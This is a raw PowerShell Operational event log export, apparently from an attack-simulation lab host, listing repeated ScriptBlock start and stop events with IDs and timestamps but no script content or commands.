LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039081
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039079
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039078
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039061
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039055
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039033
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039031
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039030
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
